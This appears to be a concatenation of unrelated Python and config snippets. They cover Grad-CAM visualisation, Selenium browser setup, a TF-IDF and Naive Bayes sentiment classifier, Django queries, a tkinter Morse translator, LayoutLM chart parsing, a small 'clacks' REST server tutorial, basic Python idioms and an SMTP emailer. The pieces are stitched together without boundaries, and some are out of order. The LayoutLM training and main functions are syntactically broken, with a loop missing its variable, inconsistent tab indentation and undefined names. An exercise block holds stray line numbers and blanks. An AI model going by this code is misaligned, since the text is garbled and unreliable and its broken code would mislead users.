    args = get_args()

    # Can work with any model, but it assumes that the model has a 
    # feature method, and a classifier method,
    # as in the VGG models in torchvision.
    grad_cam = GradCam(model = models.vgg19(pretrained=True), \
                    target_layer_names = ["35"], use_cuda=args.use_cuda)

    img = cv2.imread(args.image_path, 1)
    img = np.float32(cv2.resize(img, (224, 224))) / 255
    input = preprocess_image(img)

    # If None, returns the map for the highest scoring category.
    # Otherwise, targets the requested index.
    target_index = None

    mask = grad_cam(input, target_index)

    show_cam_on_image(img, mask)

    gb_model = GuidedBackpropReLUModel(model = models.vgg19(pretrained=True), use_cuda=args.use_cuda)
    gb = gb_model(input, index=target_index)
    utils.save_image(torch.from_numpy(gb), 'gb.jpg')

    cam_mask = np.zeros(gb.shape)
    for i in range(0, gb.shape[0]):
        cam_mask[i, :, :] = mask

    cam_gb = np.multiply(cam_mask, gb)
    utils.save_image(torch.from_numpy(cam_gb), 'cam_gb.jpg')
from selenium import webdriver

chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument('--user-agent="Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Microsoft; Lumia 640 XL LTE) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.10166"')
driver = webdriver.Chrome(chrome_options=chrome_options)
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from fake_useragent import UserAgent

options = Options()
ua = UserAgent()
userAgent = ua.random
print(userAgent)
options.add_argument(f'user-agent={userAgent}')
driver = webdriver.Chrome(chrome_options=options, executable_path=r'C:\WebDrivers\ChromeDriver\chromedriver_win32\chromedriver.exe')
driver.get("https://www.google.co.in")
driver.quit()
print("Accuracy:", accuracy_score(y_test_lbl, y_pred_lbl))
print("Confusion Matrix:", confusion_matrix(y_test_lbl, y_pred_lbl))
print("Classification Report:", classification_report(y_test_lbl, y_pred_lbl))
 # Use the classifier to predict the labels
y_pred_lbl = mnb.predict(X_test_vec_lbl)
# Add the label dummy variabls to the vector X_test_vec_lbl
# create a DataFrame with the dummy variables
dummy_df = test_lbl[["cluster_1", "cluster_2", "cluster_3", "cluster_4", "cluster_5",
                     "cluster_6", "cluster_7", "cluster_8", "cluster_9", "cluster_10",
                     "cluster_11", "cluster_12"]]

# Reshaping the dummy_df to dummy_matrices
for i, col in enumerate(dummy_df.columns):
    # get the column values as a dense numpy array
    col_values = dummy_df[col].values.reshape(-1, 1)
    # stack the column values horizontally with the sparse matrix
    X_test_vec_lbl = hstack([X_test_vec_lbl, col_values], format='csr')

# Size of X_train_vec_lbl after adding 12 dummy variables
print(X_test_vec_lbl.shape)
# Vectorize your test data
X_test_vec_lbl = tfidf.transform(test_lbl["content"])
# Size of X_test_vec_lbl and y_test_lbl
print(X_test_vec_lbl.shape)
print(y_test_lbl.shape)
# Add the label dummy variabls to the vector X_train_vec_lbl
# create a DataFrame with the dummy variables
dummy_df = train_lbl[["cluster_1", "cluster_2", "cluster_3", "cluster_4", "cluster_5",
                      "cluster_6", "cluster_7", "cluster_8", "cluster_9", "cluster_10",
                      "cluster_11", "cluster_12"]]

# Reshaping the dummy_df to dummy_matrices
for i, col in enumerate(dummy_df.columns):
    # get the column values as a dense numpy array
    col_values = dummy_df[col].values.reshape(-1, 1)
    # stack the column values horizontally with the sparse matrix
    X_train_vec_lbl = hstack([X_train_vec_lbl, col_values], format='csr')

# Size of X_train_vec_lbl after adding 12 dummy variables
print(X_train_vec_lbl.shape)



# Multinomial Naive Bayes
mnb = MultinomialNB()

# Fit train dataset v3 to mnb
mnb.fit(X_train_vec_lbl, y_train_lbl)
# tfidf is the vector defined previously
#tfidf = TfidfVectorizer(ngram_range=(1,3), stop_words='english', lowercase=True)

# Transform train_lbl['content'] to vectorizer
X_train_vec_lbl = tfidf.fit_transform(train_lbl["content"])
# Size of X_train_vec_lbl and y_train_lbl
print(X_train_vec_lbl.shape)
print(y_train_lbl.shape)
# Split train and test from the new dataset with clustering labels from part #4
X = df_emotions_labeled.drop('sentiment', axis=1)
y = df_emotions['sentiment']

# Create oversampler (prevously defined)
# oversampler = RandomOverSampler()
# Fit and transform the data
X_resampled_labeled, y_resampled_labeled = oversampler.fit_resample(X, y)

# Split the dataset into training and testing sets with stratified sampling
X_train_lbl, X_test_lbl, y_train_lbl, y_test_lbl = train_test_split(X_resampled_labeled, y_resampled_labeled, test_size=0.2, stratify=y_resampled_labeled, random_state=42)

# Concatenate them
train_lbl = pd.concat([X_train_lbl, y_train_lbl], axis=1)
test_lbl = pd.concat([X_test_lbl, y_test_lbl], axis=1)
# Adding the labels from part #4 to df_emotions dataframe
df_emotions_labeled = df_emotions
df_emotions_labeled['clustering_label'] = labels

# Build dummy variables based on the clustering_label column
clustering_label_dummy = pd.get_dummies(df_emotions_labeled['clustering_label'], prefix='cluster', drop_first=True)
# combine the dummy variables with the original DataFrame
df_emotions_labeled = pd.concat([df_emotions_labeled, clustering_label_dummy], axis=1)
# Drop clustering_label column
df_emotions_labeled = df_emotions_labeled.drop('clustering_label', axis=1)

df_emotions_labeled
# Create an instance of AgglomerativeClustering
content = df_emotions['sentiment']
agglomerative_vec = tfidf.fit_transform(content)
agg_clustering = AgglomerativeClustering(n_clusters=13, metric='euclidean', linkage='ward')

# Create labels from the Agglomerative Clustering above
labels = np.array(agg_clustering.fit_predict(agglomerative_vec.toarray()))
print(labels)
print("Accuracy:", accuracy_score(y_test_v4, mnb_y_pred))
print("Confusion Matrix:", confusion_matrix(y_test_v4, mnb_y_pred))
print("Classification Report:", classification_report(y_test_v4, mnb_y_pred))
# Vectorize your test data and use the classifier to predict the labels
X_test_vec = tfidf.transform(test_v4["content"])
mnb_y_pred = mnb.predict(X_test_vec)
# Multinomial Naive Bayes
mnb = MultinomialNB()

# Fit train dataset v3 to mnb
mnb.fit(X_train_vec_v4, y_train_v4)
# Create TFIDF vectorizer and fit it to training dataset
tfidf = TfidfVectorizer(ngram_range=(1,3), stop_words='english', lowercase=True)

# Transform train_v4['content'] to vectorize
X_train_vec_v4 = tfidf.fit_transform(train_v4["content"])
# Import the oversampling library
from imblearn.over_sampling import RandomOverSampler

# Separate the target variable from the features
X = df_emotions.drop('sentiment', axis=1)
y = df_emotions['sentiment']

# Create oversampler
oversampler = RandomOverSampler()
# Fit and transform the data
X_resampled, y_resampled = oversampler.fit_resample(X, y)

# Split the dataset into training and testing sets with stratified sampling
X_train_v4, X_test_v4, y_train_v4, y_test_v4 = train_test_split(X_resampled, y_resampled, test_size=0.2, stratify=y_resampled, random_state=42)

# Join X and Y into one table again
train_v4 = pd.concat([X_train_v4, y_train_v4], axis=1)
test_v4 = pd.concat([X_test_v4, y_test_v4], axis=1)
df_emotions = pd.read_csv("/path/to/the/file/HW2_emotions.csv")
df_emotions.head(5)
def converter_formato_numero(df_col):
    """
    (df_col)-->(df_col)

    """
    return df_col.str.strip().str.replace('.','').str.replace(',','.').str.replace('-','0')
df_cart['ano_prev_rec']=df_cart['data_prevista_recebimento'].dt.year.astype('str')
df_cart['mes_prev_rec']=df_cart['data_prevista_recebimento'].dt.month.map("{:02}".format).astype('str')
df_cart['ano_mes_prev_rec']=df_cart['ano_prev_rec']+df_cart['mes_prev_rec']
from django.utils import timezone

current_year = timezone.now().year
items = Items.objects.filter(created_time__year=current_year)
from django.db.models import Case, When, Value, CharField

Items.objects.update(fast_lane=Case(
    When(is_fast_lane=True, then=Value('Yes')),
    default=Value('No'),
    output_field=CharField()
))
from tkinter import *
from tkinter import simpledialog
from tkinter import messagebox
window=Tk()
window.geometry('300x300')
l1=Label(window,text="morse")
window.title('THE MORSE CODE TRANSLATOR')
window.configure(bg='White')
MORSE_CODE_DICT = { 'A':'.-', 'B':'-...','C':'-.-.', 'D':'-..', 'E':'.',
                        'F':'..-.', 'G':'--.', 'H':'....',
                        'I':'..', 'J':'.---', 'K':'-.-',
                        'L':'.-..', 'M':'--', 'N':'-.',
                    'O':'---', 'P':'.--.', 'Q':'--.-',
                    'R':'.-.', 'S':'...', 'T':'-',
                    'U':'..-', 'V':'...-', 'W':'.--',
                    'X':'-..-', 'Y':'-.--', 'Z':'--..',
                    '1':'.----', '2':'..---', '3':'...--',
                    '4':'....-', '5':'.....', '6':'-....',
                    '7':'--...', '8':'---..', '9':'----.',
                    '0':'-----', ', ':'--..--', '.':'.-.-.-',
                    '?':'..--..', '/':'-..-.', '-':'-....-',
                    '(':'-.--.', ')':'-.--.-','#':'...---'}
def buttonfunction():#encrytion:English->Morse code
    message=simpledialog.askstring("morse code","Enter English Code")
    message=message.upper()
    cipher = ''
    for letter in message:
            if letter != ' ':
                cipher += MORSE_CODE_DICT[letter] + ' '
            else:
                cipher += ' '
    labe1=Label(text=cipher,font=10000,bg='skyblue').pack()
def but():#decryption:Morse Code->English
    message=simpledialog.askstring("morse code","Enter Morse Code")
    message += ' '
    decipher = ''
    citext = ''
    for letter in message:
        if (letter != ' '):
            i = 0
            citext += letter
        else:
            i += 1
            if i == 2 :      
                decipher += ' '
            else:
                try:
                    decipher += list(MORSE_CODE_DICT.keys())[list(MORSE_CODE_DICT
                    .values()).index(citext)]
                    citext = ''
                except:
                   messagebox.showinfo('question','the code is incorrect')
    lan=Label(text=decipher,font=20).pack()
b=Button(window,text="ENGLISH to MORSE CODE",command=buttonfunction,bg='pink')
b.pack()
b1=Button(window,text="MORSE CODE to ENGLISH",command=but,bg='orange').pack(side=RIGHT)
window.mainloop()
import math

# Calculate the square root of a number
x = 25
sqrt_x = math.sqrt(x)
print(sqrt_x)

# Find the maximum value in a list
my_list = [4, 2, 7, 1, 9]
max_val = max(my_list)
print(max_val)
######### categorize the words into "keys, values, headers"

def graph_categorizer(words,bboxes,img):
  
  output_dict = {"headers":[],"keys":[],"values":[]}

  bboxes = normalize_bbox(bboxes,img)
  
  for idx in range(len(words[0])):
    x1,y1,x2,y2 = bboxes[idx]
    ###### header
    if(y2<=13):
      output_dict['headers'].append(words[0][idx])
    ###### keys
    elif(x2<43):
      output_dict['keys'].append(words[0][idx])    
    ###### values
    elif(x2>=43):
      output_dict['values'].append(words[0][idx])
  
  return output_dict

####### assign values to their respective keys with the help contours 


def nearest_assignment(updated_categorized_data,updated_words_to_bboxes,contours_right_coords):
  #### values to contour relation
  contour_to_values = {}
  for idx in range(len(contours_right_coords)):
    contours = contours_right_coords[idx]
    cont_x,_ = contours
    min_dist = float('inf')
    min_value = None
    for value in updated_categorized_data['values']:
      _,_,value_x,_ = updated_words_to_bboxes[value]
      curr_dist = abs(value_x-cont_x)
      # print(value,curr_dist,value_x,cont_x)
      if(min_dist>curr_dist):
        min_dist = curr_dist
        min_value = value
    contour_to_values[contours[1]] = min_value


  ######## 2nd method
  if(len(updated_categorized_data['values'])==len(contours_right_coords)):
    contour_to_values = {}
    for idx in range(len(contours_right_coords)):
      contours = contours_right_coords[idx]
      contour_to_values[contours[1]] = updated_categorized_data['values'][idx]
  return contour_to_values

#### assign values to their respective keys

def assign_value_to_keys(updated_categorized_data,updated_words_to_bboxes,contours_right_coords,contour_to_values):

  # fist assign the keys to the bars
  bars_to_keys = {}

  ## parsing the updated_categorized_data
  for cnt in contours_right_coords:
    _,cond_y = cnt
    min_diff = float('inf')
    right_key = None
    for key in updated_categorized_data['keys']:
      _,_,_,y = updated_words_to_bboxes[key]
      diff = float(abs(cond_y - y))
      if(min_diff > diff):
        min_diff = diff
        right_key = key
    bars_to_keys[cond_y] = right_key


  ###### simple solution for bars to keys
  if(len(contours_right_coords)==len(updated_categorized_data['keys'])):
    bars_to_keys = {}
    for idx in range(len(contours_right_coords)):
      contours = contours_right_coords[idx]
      bars_to_keys[contours[1]] = updated_categorized_data['keys'][idx]


  # now assigning the keys to the values
  keys_to_values = {}
  for k,v in bars_to_keys.items():
    keys_to_values[v] = contour_to_values[k]

  return keys_to_values
######## scaled data #############


def normalize_bbox(bboxes,img):
  # removing the fist and last coordinates
  bboxes= bboxes[1:-1]
  
  # Define the new image size
  new_width = 100
  new_height = 100

  original_width,original_height = img.size
  # Calculate the scaling factors
  x_scale = new_width / original_width
  y_scale = new_height / original_height

  #parsing the bboxes
  new_bboxes = []
  for bbox in bboxes:
    x1,y1,x2,y2 = bbox
    # Normalize the bounding box coordinates
    new_x1 = int(x1 * x_scale)
    new_y1 = int(y1 * y_scale)
    new_x2 = int(x2 * x_scale)
    new_y2 = int(y2 * y_scale)

    new_bbox = new_x1,new_y1,new_x2,new_y2
    new_bboxes.append(new_bbox)
  return new_bboxes
def loadFromLayoutlmv2():
  feature_extractor = LayoutLMv2FeatureExtractor.from_pretrained("microsoft/layoutlmv2-base-uncased")# apply_ocr is set to True by default
  tokenizer = LayoutLMv2TokenizerFast.from_pretrained("microsoft/layoutlmv2-base-uncased") 
  model = LayoutLMv2ForTokenClassification.from_pretrained("nielsr/layoutlmv2-finetuned-funsd")
  return feature_extractor,tokenizer,model

def labelForBoxes():
  dataset = load_dataset("nielsr/funsd", split="test")
  # define id2label, label2color
  labels = dataset.features['ner_tags'].feature.names
  id2label = {v: k for v, k in enumerate(labels)}
  label2color = {'question':'blue', 'answer':'green', 'header':'orange', 'other':'violet'}
  return id2label, label2color

def unnormalize_box(bbox, width, height):
     return [
         width * (bbox[0] / 1000),
         height * (bbox[1] / 1000),
         width * (bbox[2] / 1000),
         height * (bbox[3] / 1000),
     ]

def iob_to_label(label):
    label = label[2:]
    if not label:
      return 'other'
    return label

def process_image(image,id2label,label2color,feature_extractor,tokenizer,model):
    
    # Convert the image to RGB format
    image = image.convert('RGB')
    width, height = image.size

    # get words, boxes
    encoding_feature_extractor = feature_extractor(image, return_tensors="pt")
    words, boxes = encoding_feature_extractor.words, encoding_feature_extractor.boxes
    # encode
    encoding = tokenizer(words, boxes=boxes, truncation=True, return_offsets_mapping=True, return_tensors="pt")
    offset_mapping = encoding.pop('offset_mapping')
    encoding["image"] = encoding_feature_extractor.pixel_values
    # forward pass
    outputs = model(**encoding)
    # get predictions
    predictions = outputs.logits.argmax(-1).squeeze().tolist()
    token_boxes = encoding.bbox.squeeze().tolist()
    # only keep non-subword predictions
    is_subword = np.array(offset_mapping.squeeze().tolist())[:,0] != 0
    true_predictions = [id2label[pred] for idx, pred in enumerate(predictions) if not is_subword[idx]]
    true_boxes = [unnormalize_box(box, width, height) for idx, box in enumerate(token_boxes) if not is_subword[idx]]
    # draw predictions over the image
    draw = ImageDraw.Draw(image)
    font = ImageFont.load_default()
    for prediction, box in zip(true_predictions, true_boxes):
        predicted_label = iob_to_label(prediction).lower()
        draw.rectangle(box, outline=label2color[predicted_label])
        draw.text((box[0]+10, box[1]-10), text=predicted_label, fill=label2color[predicted_label], font=font)
    return image,true_boxes,words,true_predictions,true_boxes,is_subword
def calc_contours(image_path):
  img = cv2.imread(image_path)

  # Apply bilateral filter
  img_bilateral = cv2.bilateralFilter(img, 9, 75, 75)

  # Convert the image to grayscale
  gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

  # Apply thresholding to remove text and noise
  _, thresh = cv2.threshold(gray, 150, 255, cv2.THRESH_BINARY)

  # Apply ROI masking to exclude non-graph regions
  mask = np.zeros_like(thresh)
  mask[50:400, 100:700] = 255
  masked_thresh = cv2.bitwise_and(thresh, mask)

  # Apply edge detection using the Canny algorithm
  edges = cv2.Canny(gray, 100, 200)

  # Apply horizontal line detection using HoughLinesP
  lines = cv2.HoughLinesP(edges, 1, np.pi/180, 100, minLineLength=250, maxLineGap=15)
  horizontal_lines = []
  for line in lines:
      x1, y1, x2, y2 = line[0]
      if abs(y1 - y2) < 5: # Check if the line is horizontal
          horizontal_lines.append(line)

  # Draw the detected lines on the image
  for line in horizontal_lines:
      x1, y1, x2, y2 = line[0]
      # cv2.line(img, (x1, y1), (x2, y2), (255, 255, 255), 2)

  # Find contours in the image
  contours, hierarchy = cv2.findContours(edges, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)

  # Filter out unwanted contours based on contour area and aspect ratio
  bars = []
  for cnt in contours:
      area = cv2.contourArea(cnt)
      x, y, w, h = cv2.boundingRect(cnt)
      aspect_ratio = float(w) / h
      if area > 7 and aspect_ratio > 5 and aspect_ratio < 50000:
          bars.append(cnt)

  ###### 2 consecutive element from the bars represent single contour only
  ###### and we will consider only one of them, so we will filter out odd index elemnts from the "bars"

  def filter_bars(bars):
    lst = []
    for i in range(len(bars)):
      if(i%2==1):
        lst.append(bars[i])
    return lst

  bars = filter_bars(bars)

  # Draw the remaining contours on the image
  cv2.drawContours(img, bars, -1, (255, 255, 0), 2)

  # Show the image
  cv2_imshow(img)
  return bars

from layoutlm import FunsdDataset, LayoutlmConfig, LayoutlmForTokenClassification 
from transformers import BertTokenizer 
import torch 
 
MODEL_CLASSES = { "layoutlm": (LayoutlmConfig, LayoutlmForTokenClassification, BertTokenizer), }

 
def main():
 
    if torch.cuda.is_available():
        device = torch.device("cuda")
        print("GPU is available")
    else:
        device = torch.device("cpu")
        print("GPU is not available, using CPU instead")
 
    labels = get_labels(labels) # in our case labels will be x-axis,y-axis,title
    num_labels = len(labels) # Use cross entropy ignore index as padding label id so that only real     label ids contribute to the loss later
    pad_token_label_id = CrossEntropyLoss().ignore_index
 
    config = config_class.from_pretrained( "layoutlm-base-uncased/", num_labels=num_labels,         force_download = True, ignore_mismatched_sizes=True, cache_dir= cache_dir_path else None, )     
    tokenizer = tokenizer_class.from_pretrained( "microsoft/layoutlm-base-uncased",      do_lower_case=True, force_download = True, ignore_mismatched_sizes=True, cache_dir= cache_dir_path else None, )
 
    model = model_class.from_pretrained( "layoutlm-base-uncased/", config=config, )
    model.to(args.device)
 
    train_dataset = FunsdDataset( args, tokenizer, labels, pad_token_label_id, mode="train" )
    global_step, tr_loss = train( args, train_dataset, model, tokenizer, labels, pad_token_label_id )
 
    tokenizer = tokenizer_class.from_pretrained( "microsoft/layoutlm-base-uncased",force_download = True, do_lower_case=args.do_lower_case,ignore_mismatched_sizes=True)
 
    model = model_class.from_pretrained(args.output_dir)
    model.to(args.device)
    result, predictions = evaluate( args, model, tokenizer, labels, pad_token_label_id, mode="test" )
 
    return result,predictions
from layoutlm import LayoutlmConfig, LayoutlmForTokenClassification 
from transformers import BertTokenizer,AdamW 
from torch.utils.data import DataLoader, RandomSampler 
import torch 
from tqdm import tqdm, trange

MODEL_CLASSES = { "layoutlm": (LayoutlmConfig, LayoutlmForTokenClassification, BertTokenizer), }

def train( train_dataset, model, tokenizer, labels, pad_token_label_id):

    """ Train the model """
    if torch.cuda.is_available():
    	device = torch.device("cuda") 
		print("GPU is available")
    else:
    	device = torch.device("cpu")
	    print("GPU is not available, using CPU instead")

    train_sampler = RandomSampler(train_dataset)
    train_dataloader = DataLoader(train_dataset, sampler=train_sampler, 		   batch_size=args.train_batch_size, collate_fn=None )
    no_decay = ["bias", "LayerNorm.weight"]
    optimizer = AdamW( lr=learning_rate, eps=adam_epsilon)
    model = torch.nn.Module(model, find_unused_parameters=True)

    global_step, tr_loss = 0, 0.0
    model.zero_grad()
    train_iterator = trange(num_train_epochs, desc="Epoch")
    for in trainiterator:
    	epoch_iterator = tqdm(train_dataloader, desc="Iteration")
    	for step, batch in enumerate(epoch_iterator):
    		model.train()
    		inputs = {"input_ids": batch[0].to(device), "attention_mask": batch[1].to(device), 	"labels": batch[3].to(device)}
    		inputs["bbox"] = batch[4].to(device)
    		inputs["token_type_ids"] = batch[2].to(device)

    outputs = model(**inputs)
    loss = outputs[0]
    loss.backward()
    tr_loss += loss.item()

    optimizer.step() 
    # scheduler.step() # Update learning rate schedule
    model.zero_grad()
    global_step += 1

    return global_step, tr_loss / global_step
opened_file = open('AppleStore.csv')
from csv import reader
read_file = reader(opened_file)
apps_data = list(read_file)

rating_sum = 0
for row in apps_data[1:]:
    rating = float(row[7])
    rating_sum = rating_sum + rating
    
avg_rating = rating_sum / len(apps_data[1:])
print(avg_rating)
from layoutlm import FunsdDataset, LayoutlmConfig, LayoutlmForTokenClassification 
from transformers import BertTokenizer,AdamW 
from torch.utils.data import DataLoader, RandomSampler, SequentialSampler 
from torch.utils.data.distributed import DistributedSampler 
import torch 
from tqdm import tqdm, trange

MODEL_CLASSES = { "layoutlm": (LayoutlmConfig, LayoutlmForTokenClassification, BertTokenizer), }

def train( train_dataset, model, tokenizer, labels, pad_token_label_id):

    """ Train the model """
    if torch.cuda.is_available():
    	device = torch.device("cuda") 
		print("GPU is available")
    else:
    	device = torch.device("cpu")
	    print("GPU is not available, using CPU instead")

    train_sampler = RandomSampler(train_dataset)
    train_dataloader = DataLoader(train_dataset, sampler=train_sampler, 		   batch_size=args.train_batch_size, collate_fn=None )
    no_decay = ["bias", "LayerNorm.weight"]
    optimizer = AdamW( lr=learning_rate, eps=adam_epsilon)
    model = torch.nn.Module(model, find_unused_parameters=True)

    global_step, tr_loss = 0, 0.0
    model.zero_grad()
    train_iterator = trange(num_train_epochs, desc="Epoch")
    for in trainiterator:
    	epoch_iterator = tqdm(train_dataloader, desc="Iteration")
    	for step, batch in enumerate(epoch_iterator):
    		model.train()
    		inputs = {"input_ids": batch[0].to(device), "attention_mask": batch[1].to(device), 	"labels": batch[3].to(device)}
    		inputs["bbox"] = batch[4].to(device)
    		inputs["token_type_ids"] = batch[2].to(device)

    outputs = model(**inputs)
    loss = outputs[0]
    loss.backward()
    tr_loss += loss.item()

    optimizer.step() # scheduler.step() # Update learning rate schedule
    model.zero_grad()
    global_step += 1

    return global_step, tr_loss / global_step

def main():

    if torch.cuda.is_available():
    	device = torch.device("cuda")
    	print("GPU is available")
    else:
        device = torch.device("cpu")
        print("GPU is not available, using CPU instead")

    labels = get_labels(labels) # in our case labels will be x-axis,y-axis,title
    num_labels = len(labels) # Use cross entropy ignore index as padding label id so that only real 	label ids contribute to the loss later
    pad_token_label_id = CrossEntropyLoss().ignore_index

    config = config_class.from_pretrained( "layoutlm-base-uncased/", num_labels=num_labels, 		force_download = True, ignore_mismatched_sizes=True, cache_dir= cache_dir_path else None, ) 	
	tokenizer = tokenizer_class.from_pretrained( "microsoft/layoutlm-base-uncased", 	 do_lower_case=True, force_download = True, ignore_mismatched_sizes=True, cache_dir= cache_dir_path else None, )

    model = model_class.from_pretrained( "layoutlm-base-uncased/", config=config, )
    model.to(args.device)

    train_dataset = FunsdDataset( args, tokenizer, labels, pad_token_label_id, mode="train" )
    global_step, tr_loss = train( args, train_dataset, model, tokenizer, labels, pad_token_label_id )

    tokenizer = tokenizer_class.from_pretrained( "microsoft/layoutlm-base-uncased",force_download = True, do_lower_case=args.do_lower_case,ignore_mismatched_sizes=True)

    model = model_class.from_pretrained(args.output_dir)
    model.to(args.device)
    result, predictions = evaluate( args, model, tokenizer, labels, pad_token_label_id, mode="test" )

    return result,predictions
sepatu = { "nama" : "Sepatu Niko", "harga": 10000, "diskon": 0000 }

baju = { "nama" : "Baju Unikloh", "harga": 0000, "diskon": 8000 }
3
celana = { "nama" : "Celana Lepis", "harga": 200000, "diskon": 0000 }

harga_sepatu = sepatu["harga"] - sepatu["diskon"]
5
harga_baju = baju["harga"] - baju["diskon"]
6
harga_celana = celana["harga"] - celana["diskon"]

total_harga = (___) * ___ 
8
print(___)
import requests

# -- with the standard web API, the simple GET method without any path will just be rerouted to the "list_commands"
# -- method.
response = requests.get('http://localhost:9000')
print(response.json()['response'])

# -- with our custom API, we've registered one resource on the GET path, and one on the POST path.
# -- these requests use different "verbs", as they are referred to.

# -- both of these methods effectively do the same thing for this example, but this shows how to route requests
# -- through different paths.
response = requests.get('http://localhost:9000/simple_get', json={'my_arg': 'my_value'})
print(response.json()['response'])

response = requests.post('http://localhost:9000/simple_post', json={'my_arg': 'my_value'})
print(response.json()['response'])
import clacks_web
from interface import MySimpleRESTAPI

# -- as you can see, with the clacks_web library, making a simple REST API web server is dead easy.
server = clacks_web.simple_rest_api('My First Web Server', 'localhost', 9000)
server.register_interface('tutorial', MySimpleRESTAPI())
server.start(blocking=True)
from clacks import ServerInterface
from clacks_web import get, post


class MySimpleRESTAPI(ServerInterface):

    @get('/simple_get')
    def simple_get(self, *args, **kwargs):
        print(args, kwargs)
        return f'Simple GET method that returns some kind of resource. Can take arguments: {args}, {kwargs}, but you ' \
               f'will note that all arguments are provided as keyword arguments, as HTTP requests do not allow simple ' \
               f'positional arguments.'

    @post('/simple_post')
    def simple_post(self, *args, **kwargs):
        return f'Simple POST method that takes some arguments and makes some kind of server-side alteration.' \
               f'This kind of method is usually reserved for database alterations and most commonly used in ' \
               f'web form submission.'
import requests

# -- with the standard web API, the simple GET method without any path will just be rerouted to the "list_commands"
# -- method.
response = requests.get('http://localhost:9000')
print(response.json()['response'])
import clacks_web

# -- as you can see, with the clacks_web library, making a simple REST API web server is dead easy.
server = clacks_web.simple_rest_api('My First Web Server', 'localhost', 9000)
server.start(blocking=True)
import clacks
from interface import MyCustomInterface

# -- create a simple server instance.
# -- All keyword arguments can be left to their default in most cases.
server = clacks.ServerBase(identifier='My First Clacks Server')

# -- create a handler. Handlers are how the Server receives input requests.
handler = clacks.JSONHandler(clacks.JSONMarshaller(), server=server)

# -- once a handler has been created, it needs to be registered on a host/port combo.
server.register_handler_by_key(host='localhost', port=9998, handler_key='simple', marshaller_key='simple')

# -- give the server something to do - the "standard" interface contains some basic methods.
server.register_interface_by_key('standard')

# -- now register our custom interface
server.register_interface('custom', MyCustomInterface())

# -- start the server. By setting "blocking" to True, we block this interpreter instance from progressing.
# -- Setting "blocking" to False instead would not stop this interpreter instance from continuing, so the server
# -- would die if the interpreter instance reaches its exit point.
server.start(blocking=True)
from clacks import ServerInterface


class MyCustomInterface(ServerInterface):

    def hello_world(self) -> str:
        return 'Hello World'
# reverse for loop
for i in range(5, 0, -1):
    print(i)
import re

# Target String
target_string = "Emma is a baseball player who was born on June 17, 1993."

# find substring 'ball'
result = re.search(r"ball", target_string)

# Print matching substring
print(result.group())
# output 'ball'

# find exact word/substring surrounded by word boundary
result = re.search(r"\bball\b", target_string)
if result:
    print(result)
# output None

# find word 'player'
result = re.search(r"\bplayer\b", target_string)
print(result.group())
# output 'player'
def some_function():
    if condition_a:
        # do something and return early
        ...
        return
    ...
    if condition_b:
        # do something else and return early
        ...
        return
    ...
    return

if outer_condition:
    ...
    some_function()
    ...
# Using regex Python library

>>> match.start()
2
>>> match.end()
8
n = 5
lst = [None] * n
print(lst)
# [None, None, None, None, None]
def operations(letter):
    switch={
       'a': "It is a vowel",
       'e': "It is a vowel",
       'i': "It is a vowel",
       'o': "It is a vowel",
       'u': "It is a vowel",
       }
    return switch.get(letter,"It is a not a vowel")		# disregard 2nd parameter

operations('a')
a = 1
 
# Uses global because there is no local 'a'
def f():
    print('Inside f() : ', a)
 
# Variable 'a' is redefined as a local
def g():
    a = 2
    print('Inside g() : ', a)
 
# Uses global keyword to modify global 'a'
def h():
    global a
    a = 3
    print('Inside h() : ', a)
 
 
# Global scope
print('global : ', a)
f()
print('global : ', a)
g()
print('global : ', a)
h()
print('global : ', a)
pip freeze > requirements.txt # OR conda list -e > requirements.txt
word = 'Python'

word[:2]   # character from the beginning to position 2 (excluded)
# 'Py'
word[4:]   # characters from position 4 (included) to the end
# 'on'
word[-2:]  # characters from the second-last (included) to the end
# 'on'
response = requests.get("https://api.open-notify.org/astros.json")
print(response.status_code)
response = requests.get("https://api.open-notify.org/this-api-doesnt-exist")
import clacks

# -- first we create a handler / marshaller pair.
# -- as we know the server used the "simple" handler / marshaller combination on this port, we recreate its exact
# -- copy here. Otherwise, the handler will not be able to talk to the server.
handler = clacks.SimpleRequestHandler(clacks.SimplePackageMarshaller())

# -- now we can create a proxy for the "simple" server port.
proxy = clacks.ClientProxyBase(('localhost', 9998), handler=handler, connect=True)

# -- and now we can run methods on this proxy just as if we were running them directly on the server.
print(proxy.list_commands())
import clacks

# -- create a simple server instance.
# -- All keyword arguments can be left to their default in most cases.
server = clacks.ServerBase(identifier='My First Clacks Server')

# -- create a handler. Handlers are how the Server receives input requests.
handler = clacks.JSONHandler(clacks.JSONMarshaller(), server=server)

# -- once a handler has been created, it needs to be registered on a host/port combo.
server.register_handler_by_key(host='localhost', port=9998, handler_key='simple', marshaller_key='simple')

# -- give the server something to do - the "standard" interface contains some basic methods.
server.register_interface_by_key('standard')

# -- start the server. By setting "blocking" to True, we block this interpreter instance from progressing.
# -- Setting "blocking" to False instead would not stop this interpreter instance from continuing, so the server
# -- would die if the interpreter instance reaches its exit point.
server.start(blocking=True)
my_set.add(item)  # adds an item to the set
my_set.remove(item)  # removes an item from the set
my_set.union(other_set)  # returns a new set with all unique items from both sets
my_set.intersection(other_set)  # returns a new set with items that are common to both sets
module(name = "my-module", version = "1.0")

bazel_dep(name = "rules_cc", version = "0.0.1")
bazel_dep(name = "protobuf", version = "3.19.0")
module(name = "my-module", version = "1.0")

bazel_dep(name = "rules_cc", version = "0.0.1")
bazel_dep(name = "protobuf", version = "3.19.0")
import csv
from tabulate import tabulate
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib

me = 'xxx@gmail.com'
password = 'yyyzzz!!2'
server = 'smtp.gmail.com:587'
you = 'qqq@gmail.com'

text = """
Hello, Friend.

Here is your data:

{table}

Regards,

Me"""

html = """
<html><body><p>Hello, Friend.</p>
<p>Here is your data:</p>
{table}
<p>Regards,</p>
<p>Me</p>
</body></html>
"""

with open('input.csv') as input_file:
    reader = csv.reader(input_file)
    data = list(reader)

text = text.format(table=tabulate(data, headers="firstrow", tablefmt="grid"))
html = html.format(table=tabulate(data, headers="firstrow", tablefmt="html"))

message = MIMEMultipart(
    "alternative", None, [MIMEText(text), MIMEText(html,'html')])

message['Subject'] = "Your data"
message['From'] = me
message['To'] = you
server = smtplib.SMTP(server)
server.ehlo()
server.starttls()
server.login(me, password)
server.sendmail(me, you, message.as_string())
server.quit()
